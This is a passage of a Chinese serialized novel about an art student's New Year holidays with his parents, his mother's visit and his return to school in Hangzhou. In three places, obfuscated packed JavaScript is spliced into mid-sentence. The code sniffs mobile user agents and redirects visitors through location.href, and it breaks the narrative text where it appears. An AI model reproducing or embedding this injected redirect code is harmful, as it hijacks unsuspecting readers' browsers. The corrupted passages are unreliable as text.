没有梦,没有翻身,没有半夜突然醒来盯着天花板发呆。他一觉睡到了第二天上午十点,醒来的时候阳光已经透过窗帘的缝隙挤进来,在地上画了一条金灿灿的线。他躺在床上,盯着天花板上的那块水渍——那个问号还在,形状没有变,颜色更深了一些。他看了很久,然后翻了个身,把脸埋进枕头里。枕头上是太阳的味道,父亲昨天晒过的。他深吸一口气,把那口太阳的味道吸进肺里,然后慢慢地呼出来。 客厅里传来电视的声音,很小,像是怕吵醒他。还有厨房里锅铲碰铁锅的声音,叮叮当当的,很有节奏。张小五爬起来,穿上衣服,走出房间。张建国正在厨房里煎鸡蛋,油烟机嗡嗡地响,他站在灶台前,背微微弯着,手里的锅铲翻动着,金黄色的鸡蛋在锅里滋滋地冒着泡。 “爸,早。”张小五靠在厨房门框上,声音还带着起床的沙哑。 “早。去洗脸,饭马上好。” 张小五去卫生间洗漱。镜子里的自己眼睛不肿了,黑眼圈淡了一些,脸色也好了一些。他用冷水拍了拍脸,把头发理了理,然后回到客厅。桌上已经摆好了早饭——小米粥、煎鸡蛋、馒头、咸菜。他坐下来,端起粥碗,喝了一口。粥很稠,米油很厚,从喉咙一路暖到胃里。 “爸,你今天有事吗?” “没事。怎么了?” “我想去护城河那边画几张速写。好久没画北城了。” 张建国看了他一眼,点了点头。“去吧,多穿点。外面冷。” 张小五穿上了母亲织的那条围巾,戴上了周扬送的那副手套,穿上了最厚的棉袄,背着画筒出了门。走到楼下的时候,那只橘色的胖猫正蹲在单元门口,看见他出来,“喵呜”了一声。他蹲下来,摸了摸它的头,毛很软,很暖,肚子圆滚滚的,像一个毛茸茸的皮球。 “你又胖了。”张小五说。 橘猫眯着眼睛,蹭了蹭他的手心,然后站起来,跟在他后面,慢悠悠地走着。张小五走在前面,猫跟在后面,一人一猫,踩着雪,咯吱咯吱地响。雪已经停了,但地上积了厚厚一层,太阳照在上面,白得晃眼。巷子里的孩子们在堆雪人,一个鼻子插着胡萝卜的雪人歪歪扭扭地站在墙根,像一个喝醉了酒的人。 护城河离他家不远,走路二十分钟。说是河,其实就是一条臭水沟,夏天的时候散发着刺鼻的气味,冬天冻住了,气味散了,看起来倒像一条正经的河。河面上结了一层冰,灰白色的,上面覆盖着雪。两岸的柳树光秃秃的,枝条垂下来,像老人的白发。远处的烟囱冒着白烟,在灰蓝色的天空里缓缓上升,然后被风吹散。 张小五在河边找了一个石墩坐下来,支好画架,夹上画纸,拿出炭笔。他画的是护城河的全景——结冰的河面,光秃的柳树,冒着烟的烟囱,灰蒙蒙的天。他用炭笔快速地勾勒出轮廓,然后用手指抹开那些线条,让画面有一种朦胧的、雾蒙蒙的感觉。北城的天就是这样,灰的,白的,没有蓝色,没有绿色,只有黑白灰。但这就是北城,是他的北城,是他从小看到大的北城。 橘猫蹲在他脚边,舔着爪子,洗着脸,偶尔抬起头看看他,然后又低下头继续舔。 他画了大概一个小时,画完之后,他看着那幅画,觉得缺点什么。缺颜色。北城不是没有颜色,只是那些颜色太淡了,淡到几乎看不见。比如那排烟囱冒出来的烟,在阳光下其实是带一点橘红色的。比如河面上的冰,在某些角度是泛着淡蓝色的。比如那些柳树的枝条,在根部是有一点褐色的。这些颜色太淡了,淡到很多人注意不到,但他注意得到。他的眼睛被沈老师训练过,能看到别人看不到的颜色。 他从画筒里拿出一支蓝色粉彩——那是他在杭州买的,一直没用过——在冰面上轻轻擦了几下。蓝色很淡,淡到几乎看不见,但就是这一点点蓝色,整幅画忽然有了生气。冰不再是死的,它反射着天空的颜色,它是活的。 他退后几步,看着那幅画,满意地点了点头。 “画得真好。” 张小五转过头,看见一个老头站在他身后,穿着一件灰色的军大衣,戴着一顶棉帽子,手里拄着一根拐杖。他认出来了,是楼下王奶奶的老伴,姓刘,大家都叫他刘大爷。以前他经常看见刘大爷在楼下下棋,跟一群老头争论马走日象走田,吵得面红耳赤。 “刘大爷。”张小五叫了一声。 “你是……老张家的儿子?”刘大爷眯着眼睛,凑近了看他,“张小五?” “是我。” “哎呀,听说你考上杭州那个美术学院了?了不得啊!你爸天天跟我们吹,说他儿子是全国第三,画画得了奖。我们还不信,看来是真的。” 张小五笑了笑,不知道该说什么。他收拾好画具,把画从画架上取下来,卷好放进画筒里。橘猫站起来,伸了个懒腰,跟在他后面。 “刘大爷,我走了,天冷,您也早点回去。” “好,好。你好好画,给咱北城争光!” 张小五背着画筒,沿着护城河往回走。橘猫跟在后面,踩着他的脚印,一步一步的。太阳升高了,照在雪地上,反射出一片刺眼的白光。他眯着眼睛,看着远处那排烟囱,那些白烟在阳光里真的带了一点橘红色,和他画的一模一样。 他笑了。不是因为他画对了,是因为他看见了。以前他看不见这些颜色,他只能看见灰色、白色、黑色。现在他能看见了,说明他的眼睛变了,他的世界变了。 回到家,张建国正在客厅里包饺子。面板铺在茶几上,上面撒了一层薄薄的面粉,面团揉好了,切成一个个小剂子,擀面杖在手里转着,圆圆的饺子皮一张一张地飞出来。盆里的馅是猪肉白菜的,加了葱姜末、盐、酱油、香油,香味在整间屋子里弥漫。 “爸,我来帮你。”张小五洗了手,坐到沙发上,拿起一张饺子皮,舀了一勺馅,放在中间,对折,捏边。他包得很慢,褶子捏得不太均匀,有的多有的少,有的松有的紧,但每一个都站得住,不会倒。 “你在杭州学过包饺子?”张建国看着他手里的饺子,有点惊讶。 “没有。看别人包的,学了一下。” 张建国没有说话,低下头继续擀皮。他的动作很快,擀面杖在他手里像一支画笔,圆圆的饺子皮一张一张地飞出来,又快又好。张小五看着父亲的手,那双粗糙的、布满老茧的手,在做这种精细活的时候却出奇地灵巧。他忽然想起那幅《手》,那些骨节、老茧、疤痕、指甲、指纹。那是父亲的手,但又不完全是。那双手还会擀饺子皮,会煮面条,会修水管,会换灯泡,会在深夜里给他盖被子。 “爸,过年我妈什么时候回来?” “腊月二十八。她请了五天假。” 腊月二十八,还有三天。张小五在心里默默地数了一下,三天。三天之后,他们一家三口就要在一起吃年夜饭了。他想到这里,嘴角弯了一下。他加快了包饺子的速度,虽然包得还是不好看,但每一个都很认真,褶子捏得紧紧的,怕煮的时候散开。 饺子包好了,整整齐齐地摆在盖帘上,一圈一圈的,像一朵白色的花。张建国把盖帘端到厨房,放在窗台上,外面天冷,天然的大冰箱。他关上窗户,拉好窗帘,回到客厅,坐在沙发上。 “小五,你过年想要什么?”他忽然问。 张小五愣了一下。过年想要什么?他从来没有想过这个问题。以前过年,他想要的不过是一顿好饭,一件新衣服,一个不吵架的年夜饭。现在这些都有了,他反而不知道自己想要什么了。 “没什么想要的。”他说,“就想一家人在一起吃顿饭。” 张建国看着他,眼睛里有一种说不清的光。不是感动,不是欣慰,是一种更深的、更复杂的东西,像是遗憾,又像是庆幸。遗憾自己没能给儿子更好的生活,庆幸儿子没有因为这些年的苦而变得冷漠和贪婪。 “会的。”张建国说,“一家人在一起吃顿饭。” 腊月二十八,王秀兰回来了。 张小五去火车站接她。这一次他没有让父亲跟着,一个人去的。他在出站口等了半个小时,看着一拨一拨的人流从里面涌出来,有的拖着行李箱,有的背着大包小包,有的抱着孩子,有的搀着老人。他看见母亲了。她穿着一件红色的羽绒服,头发烫了卷,化了淡妆,看起来比半年前年轻了一些。她手里拉着一个行李箱,肩上背着一个包,走得很快,眼睛一直在人群中搜索。 “妈!”张小五喊了一声,跑过去。 王秀兰看见他,脸上立刻绽开了笑容,笑得眼睛眯成了一条缝。她扔下行李箱,张开双臂,把张小五紧紧地抱在怀里。 “小五,小五,小五……”她一遍一遍地叫着他的名字,声音又哭又笑。 张小五被抱得喘不过气来,但他没有挣扎。他把脸埋在母亲的肩窝里,闻到了她身上的味道——洗衣粉、香水、还有一点点火车上的烟味。这个味道让他觉得安心,觉得温暖,觉得这个世界上没有什么好怕的。 “妈,你又瘦了。”他说。 “妈减肥呢。”王秀兰松开他,双手捧着他的脸,左看右看,“你倒是胖了一点,脸上有肉了。是不是你爸给你做好吃的了?” “嗯,我爸天天给我做好吃的。” 王秀兰笑了,笑得眼泪都出来了。她擦了擦眼角,拉起行李箱,牵着张小五的手,走出火车站。 出租车在街道上行驶,窗外的街景一幕一幕地掠过。王秀兰靠着车窗,看着那些熟悉的店铺和树木,沉默了很久。 “北城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444031|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 变了。”她说。 “没变,还是老样子。”张小五说,“你太久没回来了。” 王秀兰没有再说话。她看着窗外,眼睛里有泪光,但嘴角是弯着的。 到家的时候,张建国已经做好了饭。红烧肉、糖醋排骨、清炒时蔬、一锅排骨汤,摆了满满一桌子。他站在门口,看着王秀兰从楼梯口走上来,脸上的表情很复杂——有高兴,有紧张,有不好意思,有一种说不清道不明的东西。 “回来了?”他说。 “回来了。”王秀兰说。 两个人对视了一眼,然后同时移开了目光。张小五看着他们,觉得好笑,又觉得心酸。这两个人,曾经是夫妻,一起生活了好几年,有了他,然后分开了八年。八年的时间,足够让最熟悉的人变得陌生。但那种陌生只是表面的,在内心深处,有些东西从来没有变过。 “进屋吧,饭好了。”张建国侧过身,让王秀兰进去。 王秀兰拉着行李箱走进屋,环顾了一下四周。房子还是那个样子,但墙上多了两样东西——张小五的画和那封信。她走过去,站在那幅画前面,看了很久。画上是西湖,湖水、远山、柳树、游船、断桥。她没见过西湖,但她觉得这就是西湖,和她想象中的一模一样。 “小五,这是你画的?” “嗯。” “真好看。”她的声音有点哽咽,“比妈见过的所有画都好看。” 张小五站在母亲身后,看着她的背影,心里涌起一股热流。他想起小时候,母亲在灯下给他缝衣服,他在旁边画画,画完了给母亲看,母亲总是说“好看”。那时候他画的只是一些歪歪扭扭的线条,根本算不上画,但母亲每次都说“好看”。现在他画的是真正的画了,母亲还是说“好看”。在母亲眼里,他画的东西从来都是最好看的,不是因为画得好,是因为是他画的。 “妈,吃饭了。”张小五说。 王秀兰擦了擦眼角,转过身,走到桌边坐下来。一家三口围坐在桌前,桌上的菜冒着热气,香味在整间屋子里弥漫。张建国拿起筷子,看了看王秀兰,又看了看张小五,然后夹了一块红烧肉,放在张小五碗里。 “吃。”他说。 张小五夹起那块红烧肉,放进嘴里。肉很软,很糯,入口即化,咸甜适中。他嚼着嚼着,眼眶忽然红了。不是因为这肉有多好吃,是因为这一刻太完整了。完整的家,完整的桌子,完整的年夜饭。他已经很多年没有感受过这种完整了。 “爸,你做的红烧肉越来越好吃了。”他说,声音有点哑。 张建国笑了。他笑得眼角的皱纹像干裂的土地,但那个笑容很真,很亮,像是一盏灯在那些沟壑深处亮了起来。 “好吃就多吃点。”他又夹了一块放在张小五碗里。 王秀兰看着这对父子,眼泪终于掉了下来。她没有擦,就那么让眼泪流着,流到下巴,滴在衣服上。她端起酒杯——里面是白开水,她不喝酒——说:“来,干杯。庆祝咱们一家三口在一起过年。” 张小五端起杯子,张建国也端起杯子。三个杯子碰在一起,发出清脆的声响,在小小的客厅里回荡。 “干杯。”张小五说。 “干杯。”张建国说。 “干杯。”王秀兰说。 他们仰起头,把杯子里的水喝得干干净净。水是温的,从喉咙一路暖到胃里,暖到心里。张小五放下杯子,看着父亲和母亲,觉得这一刻就是他一直想要的。不是什么大富大贵,不是什么功成名就,就是这一刻——一家人坐在一起,吃一顿热乎乎的饭,说几句简单的话,碰一次杯。这一刻,他是全世界最幸福的人。 窗外,又下雪了。大片大片的雪花从灰蒙蒙的天空飘下来,落在老槐树的枝丫上,落在对面楼的红色屋顶上,落在巷口那盏昏黄的路灯上。那只橘色的胖猫蹲在楼下的花坛边上,仰着头看着六楼的窗户,眯着眼睛,“喵呜”了一声。 张小五听见了,但没有下去。他坐在桌边,看着父亲和母亲,听他们说着那些琐碎的、平淡的、但温暖的话。父亲说今年的暖气比去年热,母亲说厂里新来了一个师傅人很好,父亲说隔壁王奶奶家的孙子考上大学了,母亲说她学会了用智能手机现在会发朋友圈了。这些话没有什么意义,但张小五觉得好听。好听到他想把它们画下来,用颜色去表达那些声音,用线条去描绘那些笑容。 他没有画。他只是听着,听着听着就笑了。 雪越下越大,天越来越暗。屋里的灯光是橘黄色的,照在每个人的脸上,把他们的笑容镀上了一层温暖的光。张小五坐在光里,觉得这一年所有的苦都值得了。不是为了证书,不是为了奖牌,不是为了任何人的认可。就是为了这一刻。这一刻,他是儿子,他是被爱的,他是有家的。这就够了。 36. 除夕 除夕那天,张小五起得比平时都早。天还没亮,窗外黑漆漆的,只有路灯还亮着,昏黄的光照在雪地上,反射出一片暖洋洋的橙色。他躺在床上,听着外面的声音。远处有零星的鞭炮声,噼里啪啦的,像是有人在很远的地方炒豆子。近处有鸟叫,叽叽喳喳的,不知道是什么鸟,大冬天的也不怕冷。他翻了个身,把手伸出被子,空气凉凉的,指尖立刻感受到了那股凉意。他缩回手,把被子裹得更紧了一点。 客厅里已经有了动静。锅碗瓢盆的声音,水龙头哗哗的声音,脚步声,说话声——父亲和母亲的声音,低低的,絮絮的,像两股细流汇在一起。张小五竖起耳朵听了一会儿,听不清他们在说什么,但那种声音让他安心。不是一个人的安静,是两个人的热闹。那种热闹很轻,轻得像一层薄雾,笼罩在整间屋子里,让一切都变得柔软起来。 他爬起来,穿上衣服,走出房间。王秀兰正在厨房里忙活,系着那条洗得发白的围裙,头发用夹子夹在脑后,露出纤细的脖颈。她站在灶台前,手里拿着锅铲,正在炒什么东西。油烟机嗡嗡地响,锅里滋滋地冒着泡,香味飘过来,是糖醋排骨的味道。 “妈,早。”张小五靠在厨房门框上。 王秀兰回过头,看了他一眼,笑了。“早。怎么不多睡会儿?” “睡不着了。” “那你帮你爸贴春联去,他一个人在那边弄呢。” 张小五走到客厅,张建国正站在凳子上,手里拿着一副春联,比划着往门框上贴。春联是街上买的,红纸黑字,上联是“一帆风顺年年好”,下联是“万事如意步步高”,横批是“吉星高照”。他在背面涂了浆糊,按在门框上,用手掌抹平,然后退后几步,歪着头看了看。 “正了吗?”他问。 张小五退到走廊里,眯着一只眼看了看。“左边高了一点。” 张建国调整了一下,又退后几步看。“现在呢?” “正了。” 张建国从凳子上下来,把凳子搬回屋里,然后把剩下的浆糊和刷子收拾好。他看着贴好的春联,脸上露出一种满足的表情,像一个完成了一件大作品的画家。 “爸,横批还没贴。”张小五指着放在鞋柜上的横批。 张建国拍了一下脑门,又爬上凳子,把横批贴了上去。“吉星高照”四个字在门楣上端端正正地贴好了,红底黑字,在灰白色的楼道里格外显眼。张小五看着那四个字,忽然觉得它们是真的。吉星高照,那颗星星真的照在他家的门楣上了。不是迷信,是一种感觉,一种“一切都会好起来”的预感。 贴完春联,张小五开始帮母亲准备年夜饭。王秀兰负责炒菜,他负责打下手——洗菜、切菜、剥蒜、剁姜。他切菜的动作很慢,刀工也不好,土豆丝切得像薯条,姜片切得像铜钱,但他切得很认真,每一刀都小心翼翼的,怕切到手指。 “你在杭州没自己做过饭?”王秀兰看着他笨拙的刀法,忍不住笑了。 “学校有食堂,不用自己做。” “那你以后毕业了怎么办?总不能一辈子吃食堂吧?” “那我就找个有食堂的工作。” 王秀兰笑出了声,笑得眼泪都出来了。她用袖子擦了擦眼角,继续炒菜。锅里的红烧肉咕嘟咕嘟地冒着泡,颜色红亮亮的,像一块块琥珀。她把火关小,盖上锅盖,转身去准备下一道菜。 厨房里很热,油烟机的轰鸣声、锅铲碰铁锅的声音、母亲哼歌的声音,混在一起,像一首杂乱但温暖的交响曲。张小五站在水池边,洗着青菜,水很凉,凉得手指发红,但他没有戴手套。他喜欢这种凉,喜欢这种实实在在的感觉,喜欢水流过手指时那种冰凉的、清醒的触感。 中午的时候,菜已经摆了满满一桌子。红烧肉、糖醋排骨、清蒸鱼、白切鸡、炒青菜、凉拌黄瓜、一锅排骨汤,还有一盘饺子——昨天包的,煮好了,白白胖胖的,冒着热气。王秀兰把菜一样一样地端上桌,摆得整整齐齐的,像在布置一件作品。张建国把电视打开,调到春晚的频道,虽然晚会还没开始,但已经有了预告片,喜庆的音乐在屋子里回荡。 “来,坐下,吃饭。”张建国招呼着,第一个坐到了桌边。 一家三口围坐在桌前,张小五坐在中间,左边是父亲,右边是母亲。他看了看父亲,又看了看母亲,忽然觉得有点不真实。这个画面,他等了太多年了。以前每年的除夕,都是他和父亲两个人,冷冷清清的,一两个菜,一碗饺子,电视开着,但谁都不看。他看着别人家热热闹闹的团圆饭,心里酸酸的,但从来不说什么。他知道父亲已经尽力了,他能做的只有不抱怨。 “来,干杯。”王秀兰举起酒杯,里面是红酒,她特意买的,不贵,几十块钱一瓶,但她说过年就要喝点酒,喜庆。 张小五举起杯子,张建国也举起杯子。三个杯子碰在一起,发出清脆的声响,在小小的客厅里回荡。 “新年快乐。”王秀兰说。 “新年快乐。”张小五说。 “新年快乐。”张建国说。 他们仰起头,把杯子里的酒喝了一大口。红酒有点涩,有点甜,从喉咙一路滑下去,胃里暖暖的。张小五放下杯子,夹了一块红烧肉,放在父亲碗里,又夹了一块糖醋排骨,放在母亲碗里。 “爸,妈,辛苦了。”他说。 王秀兰的眼眶红了。她低下头,咬了一口排骨,嚼了嚼,咽下去,然后抬起头,笑了。“不辛苦。妈高兴。” 张建国没有说话,只是大口大口地吃着碗里的红烧肉,吃得很香,像是在吃什么山珍海味。张小五知道他不是在吃肉,是在吃儿子夹的菜。那种味道,比肉本身更香。 年夜饭吃了很久。从中午吃到下午,从下午吃到傍晚。菜凉了又热,热了又凉,电视里的春晚开始了,歌舞、小品、相声,一个一个地演着。他们一边吃一边看,一边看一边聊。聊张小五的学校,聊王秀兰的工厂,聊张建国的身体,聊那只橘色的胖猫,聊巷口那棵老槐树。聊的都是些琐碎的、平淡的、不值一提的事情,但每一句都让这个家变得更完整,更像一个家。 吃过年夜饭,张小五帮母亲收拾碗筷。他把碗碟摞在一起,端到厨房,放进水池里。王秀兰站在他旁边,戴上橡胶手套,打开水龙头,开始洗碗。水很热,蒸汽升腾起来,模糊了她的脸。 “妈,我来洗吧。”张小五说。 “不用,你去看春晚。” “我陪你说说话。” 王秀兰没有再推辞。她一边洗碗一边说话,说她在工厂里的事。说她最近升了组长,管着十几个人,工资涨了几百块。说新来的师傅是个年轻人,技术很好,但脾气不好,跟谁都吵架。说她学会了用智能手机,现在会发朋友圈了,还会用美颜相机拍照。 “妈,你发个朋友圈,把我画的画发上去。”张小五说。 “真的?可以吗?” “当然可以。那是你的儿子画的,你随便发。” 王秀兰笑了,笑得眼睛眯成了一条缝。她洗完碗,擦干手,拿出手机,打开微信,把那幅西湖的画拍了张照片,发了一条朋友圈。配文是:“我儿子画的。他在美院附中读书。全国第三。” 张小五看着那条朋友圈,笑了。他知道母亲不是在炫耀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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消息发完之后,他把手机放进口袋,站在阳台上,看着远处的烟花。烟花一朵一朵地绽开,然后一点一点地消散,最后消失在黑暗里。它们的生命很短,从绽放到消散只有几秒钟,但那些光留在了人的眼睛里,留在了记忆里,留在了那些被照亮的夜晚。 “小五,进来,外面冷。”王秀兰的声音从屋里传来。 张小五转过身,走回了屋里。客厅里,张建国已经靠在沙发上睡着了,电视还开着,春晚还在演,一个小品正在逗观众笑,笑声很大,但他睡得很沉。王秀兰拿了一条毯子,盖在他身上,然后把电视声音调小了一点。 “你爸累了。”她轻声说。 张小五点了点头,在父亲旁边坐下来。他看着父亲的脸,那张脸上的皱纹在灯光下更深了,但表情很安详,像一个没有烦恼的孩子。他伸出手,把毯子往上拉了拉,盖住父亲的肩膀。 “妈,你也早点睡。”他说。 “嗯,你也早点睡。” 张小五站起来,走回自己的房间。他关上门,脱了衣服,钻进被子里。被子还是太阳的味道,暖暖的,香香的。他把脸埋进枕头里,深吸一口气,然后慢慢地呼出来。 窗外,烟花还在放,鞭炮还在响。但他听着那些声音,不觉得吵,反而觉得安心。那些声音在告诉他,这个世界是热闹的,是活的,是有人在笑着、闹着、庆祝着的。他不是一个人,他有父亲,有母亲,有朋友,有老师,有那些他不认识但在这个夜晚一起抬头看烟花的人。 他闭上眼睛,嘴角弯了一下。 新的一年要来了。他不知道新的一年里会发生什么,会有多少困难,会有多少挑战,会有多少眼泪和汗水。但他知道,他会继续画,画下去,一直画下去。不是因为坚持,是因为他已经离不开画画了。就像鱼离不开水,鸟离不开天空,他离不开那支笔和那张纸。 窗外的烟花越来越密,越来越亮。红的、绿的、黄的、紫的,一朵一朵地绽开,把整片天空都照亮了。张小五在那些光里睡着了,嘴角还带着笑。 新的一年,他来了。 37. 破五 正月初五,北方叫“破五”。按老规矩,这天要吃饺子、放鞭炮、送穷土,把不好的东西都赶出去,迎财神进门。张小五对这些习俗向来是左耳进右耳出,但今年不一样,他特意起了个大早,跟父亲一起剁馅、和面、擀皮、包饺子。他想把“穷”送走,不是嫌贫爱富,是想让父亲的日子好过一点,想让母亲不用再在服装厂里踩缝纫机踩到半夜,想让那只橘色的胖猫每天都能吃到小鱼干。 饺子包好了,张建国端着一大盘下楼去放鞭炮。张小五站在阳台上往下看,父亲把红彤彤的鞭炮挂在老槐树的低枝上,弯着腰,打火机按了好几下才点着引信。引信嗤嗤地冒着火花,他赶紧往后退了几步,捂着耳朵。噼里啪啦的声音炸开了,红色的纸屑飞了一地,烟雾升腾起来,在清晨的冷空气里慢慢散开。橘色的胖猫吓得从楼道里窜出来,一溜烟跑到了花坛后面,缩成一团,眼睛瞪得溜圆。 张小五在阳台上笑得弯了腰。他朝楼下喊了一声:“爸,你把猫吓着了!”张建国仰起头,满脸都是笑,皱纹挤在一起,像一朵晒干的菊花。他朝张小五挥了挥手里的打火机,那意思大概是“没事,一会儿就好了”。 鞭炮放完了,张建国上楼来,拍掉身上的纸屑,坐到桌边。王秀兰已经把饺子盛好了,白白胖胖的饺子在碗里冒着热气,醋和蒜泥摆在旁边,香味直往鼻子里钻。一家三口围坐在桌前,张小五夹起一个饺子,咬了一口,是猪肉白菜的,汤汁在嘴里炸开,鲜得他眯起了眼睛。 “爸,你吃。”他夹了一个放在父亲碗里。 “妈,你也吃。”又夹了一个放在母亲碗里。 王秀兰看着碗里的饺子,眼眶红了,但没有哭。她低下头,咬了一口,嚼了很久才咽下去。那不是一个普通的饺子,那里面有儿子的心意,有丈夫的陪伴,有这个家久违的温暖。她咽下去之后,抬起头,笑了。“好吃。” 张建国没有说话,只是大口大口地吃着,一碗不够,又盛了一碗。他吃了二十多个,比他平时一顿饭的量多了一倍。张小五看着他吃,心里又高兴又担心。高兴的是父亲胃口好,担心的是吃太多了不消化。 “爸,别吃了,留点晚上吃。” “没事,爸吃得下。”张建国又夹了一个,蘸了醋和蒜泥,整个塞进嘴里,腮帮子鼓鼓的,像一只仓鼠。 张小五看着父亲那副满足的样子,忽然想起小时候。那时候家里穷,吃饺子是过年才有的待遇。每次包饺子,母亲都会多包几个,藏起来,留着第二天给他当早饭。他那时候不懂事,以为饺子是吃不完的,后来才知道,母亲把自己的那份省下来给了他。现在,轮到他给母亲夹饺子了。角色的转换不是突然发生的,是在这些年里一点一点地完成的,像一个孩子慢慢长高,直到有一天比父亲还高。 正月初七,王秀兰要走了。 她的假用完了,厂里催她回去上班,再不走就要扣工资。张小五送她去火车站,这一次张建国也来了,一家三口在候车室里坐着,谁都没有说话。广播一遍一遍地播着车次信息,显示屏上的红字跳来跳去,候车室里人来人往,拖着行李箱的、背着大包小包的、抱着孩子的、搀着老人的。王秀兰坐在中间,左边是张小五,右边是张建国,她的手放在膝盖上,两只手握在一起,指节发白。 “妈,到了给我打电话。”张小五说。 “好。” “别老加班,该休息就休息。” “好。” “厂里食堂的饭不好吃就出去买点,别省钱。” 王秀兰转过头看着他,眼眶红了。“小五,你越来越像你爸了,啰嗦。” 张小五笑了。他笑得很轻,嘴角只是微微弯了一下,但那一瞬间,他觉得自己真的长大了。以前是母亲叮嘱他,现在轮到他叮嘱母亲了。角色转换了,但爱没有变,只是换了一种表达方式。 广播响了,王秀兰站起来,拿起行李,抱了抱张小五,又抱了抱张建国。她抱张建国的时候,两个人都僵了一下,像两根生锈的铁棍突然被弯了一下,嘎吱作响。但谁都没有推开谁,就那么僵硬地抱了两秒钟,然后松开。 “我走了。”王秀兰说,声音有点哑。 “路上小心。”张建国说。 王秀兰转过身,走进了检票口。她的背影在人流中越来越小,越来越模糊,最后消失在了拐角处。张小五站在原地,看着那个空荡荡的拐角,站了很久。张建国站在他旁边,双手插在口袋里,背微微弯着,像一棵被风吹弯的树。 “爸,走吧。”张小五说。 “走吧。” 父子俩走出火车站,外面的阳光很好,照在雪地上,反射出一片刺眼的白光。张小五眯着眼睛,看着远处那排烟囱,白烟在阳光里带着一点橘红色,和他画的一模一样。他忽然想起沈老师说过的话——“颜色是光的语言。”他想,离别也是一种颜色,是灰色的,但不是那种死气沉沉的灰,是那种带一点蓝的、通透的、像冬天傍晚天空的那种灰。不好看,但真实。 正月十五,元宵节。 张小五要回杭州了。学校正月十七开学,他提前两天走,想先回学校收拾一下宿舍,调整一下状态。张建国给他煮了汤圆,芝麻馅的,白白胖胖的,浮在碗里,像一群小鸭子。张小五吃了六个,取个“六六大顺”的彩头,虽然他不信这些,但父亲信,他就顺着父亲的意思来。 “爸,我走了,你一个人在家,照顾好自己。”张小五站在门口,背着书包,拉着行李箱,画筒背在肩上。 “爸知道。你到了打电话。” “好。” 张小五转过身,走出了门。他走下楼梯,脚步声在空荡荡的楼道里回荡。六楼、五楼、四楼、三楼、二楼、一楼。每下一层,他的心就沉一点,像是有什么东西从身体里被抽走了,留下一个空空的洞。走到楼下的时候,那只橘色的胖猫蹲在单元门口,看见他,“喵呜”了一声。他蹲下来,摸了摸它的头,毛很软,很暖,肚子圆滚滚的。 “我走了。你在家好好的,别到处乱跑。”橘猫舔了舔他的手,然后站起来,跟在他后面,走了几步,又停下来,蹲在雪地里,看着他的背影。张小五走出巷子,回过头,看见那只猫还蹲在那里,像一个小小的橘色的点,在白茫茫的雪地里格外显眼。 他朝它挥了挥手,然后转过身,走进了晨光里。 火车上,张小五靠着车窗,看着窗外的风景一点一点地从灰黄变成青绿。北城的雪越来越远,杭州的绿越来越近。他的手里握着那个红色的平安符,贴着胸口,温热温 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444033|201069||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 热的。他把平安符从脖子上取下来,看了看,又戴回去。两个平安符,一个母亲的,一个父亲的,并排贴着胸口,小小的,硬硬的,随着他的心跳一起一伏。 他拿出画本,翻到新的一页,开始画。他画的是北城的雪——灰蒙蒙的天,白茫茫的地,光秃秃的树,歪歪扭扭的巷子,还有那只蹲在雪地里的橘色的猫。他用炭笔快速地勾勒出轮廓,然后用手指抹开那些线条,让画面有一种朦胧的、雾蒙蒙的感觉。画完之后,他在纸的右下角写了一行字。 “北城,雪。橘猫蹲在雪地里,像一个小小的点。我在火车上,越来越远。” 他把画本合上,抱在怀里,闭上眼睛。火车在铁轨上轰隆轰隆地响着,带着他和他的画本,带着他的平安符和他的记忆,带着父亲的叮嘱和母亲的眼泪,驶向杭州,驶向那个他还要待两年半的地方。 到杭州的时候,天已经黑了。张小五走出火车站,打了一辆车回学校。出租车在城市的街道上穿行,窗外的霓虹灯一盏一盏地闪过,红的、绿的、蓝的、黄的,像一条彩色的河流。他看着那些灯光,觉得它们和北城的雪不一样,北城的雪是安静的、沉默的、内敛的,杭州的灯是喧闹的、张扬的、外放的。但都是美的,不同的美。 到了学校,他拖着行李箱走进校门,校园里很安静,大部分同学还没回来。宿舍楼里只有几间亮着灯,他爬上三楼,推开309的门,里面空无一人。陆一鸣还没来,林子涵还没来,欧阳逸飞还没来。他一个人把行李箱打开,把东西一样一样地拿出来——衣服放进柜子里,画具摆在桌上,课本放在书架上,平安符压在枕头底下。他把周扬送的那条黑色围巾挂在床头,把母亲织的那条灰色围巾叠好,放在枕头旁边。两条围巾,一条是友情,一条是亲情,都是暖的。 他洗了澡,躺在床上,拿出手机,给父亲发了一条消息:“爸,到了。宿舍没人,就我一个。” 过了一会儿,父亲回了一条:“早点睡。” 他又给母亲发了一条:“妈,到了。学校很好,别担心。” 母亲回了一个笑脸。他看着那个笑脸,嘴角弯了一下。他把手机放在枕头底下,把手表摘下来放在床头,把平安符从脖子上取下来放在枕头底下。然后他关了灯,闭上眼睛。 黑暗中,他听见窗外的虫鸣,听见远处隐约的车声,听见自己的呼吸声。这些声音让他想起杭州,想起这个他还要住两年半的城市。他已经习惯了这里的气候,习惯了这里的食物,习惯了这里的语言,习惯了这里的画室和教室。这里不再是陌生的地方,这里是他的第二个家。 他翻了个身,把被子拉到下巴,闭上眼睛。 